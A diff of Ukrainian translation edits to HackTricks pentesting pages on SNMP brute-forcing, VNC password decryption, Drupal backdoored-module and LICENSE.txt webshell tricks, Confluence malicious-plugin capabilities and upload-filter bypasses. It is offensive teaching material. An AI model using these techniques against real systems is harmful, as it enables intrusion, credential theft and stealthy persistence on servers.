* **`SecRequirementCreateWithString`:** Створює `SecRequirementRef` з рядкового виразу вимоги.
|
||||
* **`SecRequirementCopy[Data/String]`**: Отримує двійкове представлення даних `SecRequirementRef`.
|
||||
* **`SecRequirementCreateGroup`**: Створює вимогу для членства в групі додатків.
|
||||
|
||||
#### **Доступ до інформації про підпис коду**
|
||||
|
||||
* **`SecStaticCodeCreateWithPath`**: Ініціалізує об'єкт `SecStaticCodeRef` з файлового шляху для перевірки підписів коду.
|
||||
* **`SecStaticCodeCreateWithPath`**: Ініціалізує об'єкт `SecStaticCodeRef` з шляху файлової системи для перевірки підписів коду.
|
||||
* **`SecCodeCopySigningInformation`**: Отримує інформацію про підпис з `SecCodeRef` або `SecStaticCodeRef`.
|
||||
|
||||
#### **Модифікація вимог коду**
|
||||
|
@ -296,7 +296,7 @@ od -A x -t x1 /tmp/output.csreq
|
|||
|
||||
* **`SecCodeCopy[Internal/Designated]Requirement`: Отримати SecRequirementRef з SecCodeRef**
|
||||
* **`SecCodeCopyGuestWithAttributes`**: Створює `SecCodeRef`, що представляє об'єкт коду на основі специфічних атрибутів, корисно для пісочниці.
|
||||
* **`SecCodeCopyPath`**: Отримує файловий шлях, пов'язаний з `SecCodeRef`.
|
||||
* **`SecCodeCopyPath`**: Отримує шлях файлової системи, пов'язаний з `SecCodeRef`.
|
||||
* **`SecCodeCopySigningIdentifier`**: Отримує ідентифікатор підпису (наприклад, Team ID) з `SecCodeRef`.
|
||||
* **`SecCodeGetTypeID`**: Повертає ідентифікатор типу для об'єктів `SecCodeRef`.
|
||||
* **`SecRequirementGetTypeID`**: Отримує CFTypeID `SecRequirementRef`.
|
||||
|
@ -304,7 +304,7 @@ od -A x -t x1 /tmp/output.csreq
|
|||
#### **Прапори та константи підпису коду**
|
||||
|
||||
* **`kSecCSDefaultFlags`**: Значення за замовчуванням, що використовуються в багатьох функціях Security.framework для операцій підпису коду.
|
||||
* **`kSecCSSigningInformation`**: Прапор, що використовується для вказівки на те, що інформація про підпис повинна бути отримана.
|
||||
* **`kSecCSSigningInformation`**: Прапор, що використовується для вказівки на те, що інформацію про підпис слід отримати.
|
||||
|
||||
## Примус підпису коду
|
||||
|
||||
|
@ -312,7 +312,7 @@ od -A x -t x1 /tmp/output.csreq
|
|||
|
||||
## `cs_blobs` & `cs_blob`
|
||||
|
||||
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) структура містить інформацію про права запущеного процесу на ньому. `csb_platform_binary` також інформує, чи є додаток платформним бінарним (що перевіряється в різні моменти ОС для застосування механізмів безпеки, таких як захист прав SEND до портів завдань цих процесів).
|
||||
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc_internal.h#L106) структура містить інформацію про права запущеного процесу на ньому. `csb_platform_binary` також інформує, чи є додаток платформним бінарним (що перевіряється в різні моменти операційною системою для застосування механізмів безпеки, таких як захист прав SEND до портів завдань цих процесів).
|
||||
```c
|
||||
struct cs_blob {
|
||||
struct cs_blob *csb_next;
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
@ -59,7 +59,7 @@ SNMP також використовує порт **162/UDP** для **трап
|
|||
Ось розбивка цієї адреси.
|
||||
|
||||
* 1 – це називається ISO, і це встановлює, що це OID. Саме тому всі OID починаються з "1".
|
||||
* 3 – це називається ORG, і використовується для вказівки організації, яка виготовила пристрій.
|
||||
* 3 – це називається ORG, і воно використовується для вказівки організації, яка виготовила пристрій.
|
||||
* 6 – це dod або Міністерство оборони, яке є організацією, що першою встановила Інтернет.
|
||||
* 1 – це значення Інтернету, що позначає, що всі комунікації відбуватимуться через Інтернет.
|
||||
* 4 – це значення визначає, що цей пристрій виготовлений приватною організацією, а не урядовою.
|
||||
|
@ -87,8 +87,8 @@ SNMP також використовує порт **162/UDP** для **трап
|
|||
|
||||
Існує 2 важливі версії SNMP:
|
||||
|
||||
* **SNMPv1**: Основна версія, вона все ще найпоширеніша, **автентифікація базується на рядку** (рядок спільноти), який передається в **відкритому тексті** (вся інформація передається в відкритому тексті). **Версії 2 і 2c** також передають **трафік у відкритому тексті** і використовують **рядок спільноти як автентифікацію**.
|
||||
* **SNMPv3**: Використовує кращу **форму автентифікації**, і інформація передається **зашифрованою** (може бути виконано **атака методом підбору**, але знайти правильні дані буде набагато складніше, ніж у SNMPv1 і v2).
|
||||
* **SNMPv1**: Основна, вона все ще найчастіше використовується, **автентифікація базується на рядку** (рядок спільноти), який передається в **звичайному тексті** (вся інформація передається в звичайному тексті). **Версії 2 і 2c** також передають **трафік у звичайному тексті** і використовують **рядок спільноти як автентифікацію**.
|
||||
* **SNMPv3**: Використовує кращу **форму автентифікації**, і інформація передається **зашифрованою** (може бути виконано **атака методом підбору**, але знайти правильні дані буде набагато важче, ніж у SNMPv1 і v2).
|
||||
|
||||
### Рядки спільноти
|
||||
|
||||
|
@ -144,7 +144,7 @@ braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
|
|||
```bash
|
||||
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
```
|
||||
**SNMP** має багато інформації про хост, і речі, які можуть вас зацікавити, це: **мережеві інтерфейси** (IPv4 та **IPv6** адреси), імена користувачів, час роботи, версія сервера/ОС та **процеси**
|
||||
**SNMP** має багато інформації про хост, і речі, які можуть бути вам цікаві: **Мережеві інтерфейси** (IPv4 та **IPv6** адреси), Імена користувачів, Час роботи, Версія сервера/ОС та **процеси**
|
||||
|
||||
**які працюють** (можуть містити паролі)....
|
||||
|
||||
|
@ -161,7 +161,7 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
|||
* **`rwcommunity`** для **IPv4** адрес, та
|
||||
* **`rwcommunity6`** для **IPv6** адрес.
|
||||
|
||||
Обидва команди вимагають **рядок спільноти** та відповідну IP-адресу, пропонуючи повний доступ незалежно від походження запиту.
|
||||
Обидві команди вимагають **рядок спільноти** та відповідну IP-адресу, пропонуючи повний доступ незалежно від походження запиту.
|
||||
|
||||
### Параметри SNMP для Microsoft Windows
|
||||
|
||||
|
@ -193,11 +193,11 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
|||
|
||||
## **Масове SNMP**
|
||||
|
||||
[Braa ](https://github.com/mteg/braa) є масовим сканером SNMP. Передбачуване використання такого інструменту, звичайно, полягає в здійсненні запитів SNMP – але на відміну від snmpwalk з net-snmp, він здатний запитувати десятки або сотні хостів одночасно, і в одному процесі. Таким чином, він споживає дуже мало системних ресурсів і виконує сканування ДУЖЕ швидко.
|
||||
[Braa ](https://github.com/mteg/braa) є масовим сканером SNMP. Передбачуване використання такого інструменту, звичайно, полягає в здійсненні SNMP запитів – але на відміну від snmpwalk з net-snmp, він здатний запитувати десятки або сотні хостів одночасно, і в одному процесі. Таким чином, він споживає дуже мало системних ресурсів і виконує сканування ДУЖЕ швидко.
|
||||
|
||||
Braa реалізує свій ВЛАСНИЙ стек snmp, тому йому НЕ потрібні жодні бібліотеки SNMP, такі як net-snmp.
|
||||
|
||||
**Синтаксис:** braa \[рядок спільноти\]@\[\IP сервера SNMP\]:\[\iso id\]
|
||||
**Синтаксис:** braa \[Community-string]@\[IP of SNMP server]:\[iso id]
|
||||
```bash
|
||||
braa ignite123@192.168.1.125:.1.3.6.*
|
||||
```
|
||||
|
@ -219,13 +219,13 @@ grep -i "trap" *.snmp
|
|||
```
|
||||
### **Імена користувачів/Паролі**
|
||||
|
||||
Логи, збережені в таблицях MIB, перевіряються на **невдалі спроби входу**, які можуть випадково містити паролі, введені як імена користувачів. Шукаються ключові слова, такі як _fail_, _failed_ або _login_, щоб знайти цінні дані:
|
||||
Логи, збережені в таблицях MIB, перевіряються на **невдалі спроби входу**, які можуть випадково включати паролі, введені як імена користувачів. Шукаються ключові слова, такі як _fail_, _failed_ або _login_, щоб знайти цінні дані:
|
||||
```bash
|
||||
grep -i "login\|fail" *.snmp
|
||||
```
|
||||
### **Emails**
|
||||
|
||||
Нарешті, для витягування **адрес електронної пошти** з даних використовується **команда grep** з регулярним виразом, зосереджуючись на шаблонах, які відповідають форматам електронної пошти:
|
||||
Нарешті, для витягування **адрес електронної пошти** з даних використовується **grep команда** з регулярним виразом, зосереджуючись на шаблонах, які відповідають форматам електронної пошти:
|
||||
```bash
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
||||
```
|
||||
|
@ -235,17 +235,17 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
|||
|
||||
## Спуфінг
|
||||
|
||||
Якщо є ACL, який дозволяє лише деяким IP запитувати службу SMNP, ви можете спуфити одну з цих адрес у UDP-пакеті та прослуховувати трафік.
|
||||
Якщо є ACL, який дозволяє лише деяким IP запитувати службу SMNP, ви можете спуфити одну з цих адрес у UDP-пакеті та прослухати трафік.
|
||||
|
||||
## Перевірка конфігураційних файлів SNMP
|
||||
## Перегляд конфігураційних файлів SNMP
|
||||
|
||||
* snmp.conf
|
||||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в усній та письмовій формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -25,7 +25,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
**SNMP** функціонує через UDP з портами 161/UDP для загальних повідомлень і 162/UDP для повідомлень про трепи. Цей протокол покладається на рядки спільноти, які виконують роль паролів, що дозволяють зв'язок між SNMP-агентами та серверами. Ці рядки є вирішальними, оскільки вони визначають рівні доступу, зокрема **тільки для читання (RO) або читання-запис (RW) дозволи**. Помітним вектором атаки для пентестерів є **брутфорсинг рядків спільноти**, що має на меті проникнення в мережеві пристрої.
|
||||
|
||||
Практичним інструментом для виконання таких брутфорс-атак є [**onesixtyone**](https://github.com/trailofbits/onesixtyone), який вимагає список потенційних рядків спільноти та IP-адрес цілей:
|
||||
Практичним інструментом для виконання таких атак брутфорсом є [**onesixtyone**](https://github.com/trailofbits/onesixtyone), який вимагає список потенційних рядків спільноти та IP-адрес цілей:
|
||||
```bash
|
||||
onesixtyone -c communitystrings -i targets
|
||||
```
|
||||
|
@ -48,19 +48,19 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
|
|||
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
||||
```
|
||||
## References
|
||||
## Посилання
|
||||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зламуванні незламного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вчіться та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в усній та письмовій формі_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -50,7 +50,7 @@ vncviewer [-passwd passwd.txt] <IP>::5901
|
|||
make
|
||||
vncpwd <vnc password file>
|
||||
```
|
||||
Ви можете це зробити, тому що пароль, використаний всередині 3des для шифрування простих VNC паролів, був перевернутий багато років тому.\
|
||||
Ви можете це зробити, тому що пароль, використаний всередині 3des для шифрування відкритих VNC паролів, був скасований багато років тому.\
|
||||
Для **Windows** ви також можете використовувати цей інструмент: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
|
||||
Я зберігаю інструмент тут також для зручності доступу:
|
||||
|
||||
|
@ -60,9 +60,9 @@ vncpwd <vnc password file>
|
|||
|
||||
* `port:5900 RFB`
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** і хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -31,7 +31,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
|
||||
![](<../../../.gitbook/assets/image (338).png>)
|
||||
|
||||
Нарешті, просто отримайте доступ до новоствореного вузла:
|
||||
Нарешті, просто зайдіть на новостворений вузол:
|
||||
```bash
|
||||
curl http://drupal-site.local/node/3
|
||||
```
|
||||
|
@ -47,7 +47,7 @@ curl http://drupal-site.local/node/3
|
|||
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
||||
2. Після завантаження перейдіть до **`Administration`** > **`Reports`** > **`Available updates`**.
|
||||
3. Натисніть **`Browse`**, виберіть файл з каталогу, куди ми його завантажили, а потім натисніть **`Install`**.
|
||||
4. Після встановлення модуля ми можемо натиснути на **`Content`** і **створити нову базову сторінку**, подібно до того, як ми робили в прикладі Drupal 7. Знову ж таки, не забудьте **вибрати `PHP code` з випадаючого списку `Text format`**.
|
||||
4. Після встановлення модуля ми можемо натиснути **`Content`** і **створити нову базову сторінку**, подібно до того, як ми робили в прикладі Drupal 7. Знову ж таки, не забудьте **вибрати `PHP code` з випадаючого списку `Text format`**.
|
||||
|
||||
## Модуль з бекдором
|
||||
|
||||
|
@ -55,7 +55,7 @@ curl http://drupal-site.local/node/3
|
|||
У поточних версіях більше неможливо встановлювати плагіни, маючи доступ лише до вебу після стандартної установки.
|
||||
{% endhint %}
|
||||
|
||||
Модуль з бекдором можна створити, **додавши shell до існуючого модуля**. Модулі можна знайти на веб-сайті drupal.org. Давайте виберемо модуль, наприклад, [CAPTCHA](https://www.drupal.org/project/captcha). Прокрутіть вниз і скопіюйте посилання на tar.gz [архів](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
||||
Модуль з бекдором можна створити, **додавши оболонку до існуючого модуля**. Модулі можна знайти на веб-сайті drupal.org. Давайте виберемо модуль, наприклад, [CAPTCHA](https://www.drupal.org/project/captcha). Прокрутіть вниз і скопіюйте посилання на tar.gz [архів](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
||||
|
||||
* Завантажте архів і розпакуйте його вміст.
|
||||
```
|
||||
|
@ -80,16 +80,16 @@ RewriteBase /
|
|||
mv shell.php .htaccess captcha
|
||||
tar cvf captcha.tar.gz captcha/
|
||||
```
|
||||
* Припустимо, що у нас є **адміністративний доступ** до веб-сайту, натисніть на **`Управління`** і потім **`Розширити`** на бічній панелі. Далі натисніть на кнопку **`+ Встановити новий модуль`**, і ми перейдемо на сторінку встановлення, наприклад, `http://drupal-site.local/admin/modules/install`. Перейдіть до архіву з бекдором Captcha і натисніть **`Встановити`**.
|
||||
* Припустимо, що у нас є **адміністративний доступ** до веб-сайту, натисніть на **`Manage`** і потім **`Extend`** у бічному меню. Далі натисніть на кнопку **`+ Install new module`**, і ми перейдемо на сторінку установки, наприклад, `http://drupal-site.local/admin/modules/install`. Перейдіть до архіву з бекдором Captcha і натисніть **`Install`**.
|
||||
* Після успішної установки перейдіть до **`/modules/captcha/shell.php`**, щоб виконати команди.
|
||||
|
||||
## Бекдоринг Drupal з синхронізацією конфігурації <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
||||
|
||||
**Пост поділився** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
|
||||
|
||||
### Частина 1 (активація _Медіа_ та _Медійна бібліотека_)
|
||||
### Частина 1 (активація _Media_ та _Media Library_)
|
||||
|
||||
У меню _Розширити_ (/admin/modules) ви можете активувати те, що, здається, є плагінами, вже встановленими. За замовчуванням плагіни _Медіа_ та _Медійна бібліотека_ не активовані, тож давайте їх активуємо.
|
||||
У меню _Extend_ (/admin/modules) ви можете активувати те, що, здається, є плагінами, які вже встановлені. За замовчуванням плагіни _Media_ та _Media Library_ не активовані, тож давайте їх активуємо.
|
||||
|
||||
Перед активацією:
|
||||
|
||||
|
@ -101,9 +101,9 @@ tar cvf captcha.tar.gz captcha/
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Частина 2 (використання функції _Синхронізація конфігурації_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||||
### Частина 2 (використання функції _Configuration synchronization_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||||
|
||||
Ми скористаємося функцією _Синхронізація конфігурації_, щоб вивантажити (експортувати) та завантажити (імпортувати) записи конфігурації Drupal:
|
||||
Ми скористаємося функцією _Configuration synchronization_, щоб вивантажити (експортувати) та завантажити (імпортувати) записи конфігурації Drupal:
|
||||
|
||||
* /admin/config/development/configuration/single/export
|
||||
* /admin/config/development/configuration/single/import
|
||||
|
@ -194,11 +194,11 @@ php_flag engine on
|
|||
```
|
||||
Чому цей трюк класний?
|
||||
|
||||
Тому що, як тільки Webshell (який ми назвемо LICENSE.txt) буде завантажено на веб-сервер, ми можемо передавати наші команди через `$_COOKIE`, і в журналах веб-сервера це з'явиться як законний GET запит до текстового файлу.
|
||||
Тому що, як тільки Webshell (який ми назвемо LICENSE.txt) буде завантажено на веб-сервер, ми можемо передавати наші команди через `$_COOKIE`, і в логах веб-сервера це з'явиться як легітимний GET запит до текстового файлу.
|
||||
|
||||
Чому ми називаємо наш Webshell LICENSE.txt?
|
||||
|
||||
Просто тому, що якщо ми візьмемо наступний файл, наприклад [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (який вже присутній у ядрі Drupal), ми маємо файл з 339 рядками і 17.6 КБ розміру, що ідеально підходить для додавання невеликого фрагмента PHP коду посередині (оскільки файл достатньо великий).
|
||||
Просто тому, що якщо ми візьмемо наступний файл, наприклад [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (який вже присутній у Drupal core), ми маємо файл з 339 рядків і 17.6 КБ розміру, що ідеально підходить для додавання невеликого фрагмента PHP коду посередині (оскільки файл достатньо великий).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (7) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
@ -25,7 +25,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
У Jira, **привілеї можна перевірити** будь-яким користувачем, автентифікованим чи ні, через кінцеві точки `/rest/api/2/mypermissions` або `/rest/api/3/mypermissions`. Ці кінцеві точки розкривають поточні привілеї користувача. Значна проблема виникає, коли **неавтентифіковані користувачі мають привілеї**, що вказує на **вразливість безпеки**, яка може бути підставою для **бонусу**. Аналогічно, **неочікувані привілеї для автентифікованих користувачів** також підкреслюють **вразливість**.
|
||||
|
||||
Важливе **оновлення** було зроблено **1 лютого 2019 року**, що вимагало, щоб кінцева точка 'mypermissions' включала **параметр 'permission'**. Це вимога має на меті **підвищити безпеку**, вказуючи на привілеї, які запитуються: [перевірте це тут](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
Важливе **оновлення** було зроблено **1 лютого 2019 року**, що вимагало, щоб кінцева точка 'mypermissions' включала **параметр 'permission'**. Це вимога має на меті **підвищити безпеку**, уточнюючи привілеї, які запитуються: [перевірте це тут](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
|
||||
* ADD\_COMMENTS
|
||||
* ADMINISTER
|
||||
|
@ -74,7 +74,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
#Check non-authenticated privileges
|
||||
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
|
||||
```
|
||||
## Автоматизоване перерахування
|
||||
## Автоматизована енумерація
|
||||
|
||||
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
|
||||
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
|
||||
|
@ -122,22 +122,22 @@ public OutputType getOutputType() { return OutputType.BLOCK; }
|
|||
|
||||
Ось деякі з дій, які може виконати зловмисний плагін:
|
||||
|
||||
* **Сховати плагіни від адміністраторів**: Можливо приховати зловмисний плагін, інжектуючи деякий фронтенд JavaScript.
|
||||
* **Сховати плагіни від адміністраторів**: Можливо приховати зловмисний плагін, інжектуючи деякий фронтенд javascript.
|
||||
* **Екстракція вкладень і сторінок**: Дозволяє отримати доступ і екстрактувати всі дані.
|
||||
* **Крадіжка токенів сесії**: Додати кінцеву точку, яка буде відображати заголовки у відповіді (з кукі) і деякий JavaScript, який буде контактувати з нею і витікати кукі.
|
||||
* **Виконання команд**: Звісно, можливо створити плагін, який буде виконувати код.
|
||||
* **Крадіжка токенів сесії**: Додати кінцеву точку, яка буде відображати заголовки у відповіді (з кукі) і деякий javascript, який буде зв'язуватися з нею і витікати кукі.
|
||||
* **Виконання команд**: Звичайно, можливо створити плагін, який буде виконувати код.
|
||||
* **Зворотний шелл**: Або отримати зворотний шелл.
|
||||
* **DOM-проксіювання**: Якщо Confluence знаходиться в приватній мережі, буде можливим встановити з'єднання через браузер деякого користувача з доступом до нього і, наприклад, зв'язатися з сервером, виконуючи команди через нього.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо вас цікавить **кар'єра в хакінгу** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вчіться та практикуйте хакінг AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте хакінг GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вчіться та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
@ -36,8 +36,8 @@
|
|||
|
||||
### Обхід перевірок розширень файлів
|
||||
|
||||
1. Якщо вони застосовуються, **перевірте** **попередні розширення.** Також протестуйте їх, використовуючи деякі **великі літери**: _pHp, .pHP5, .PhAr ..._
|
||||
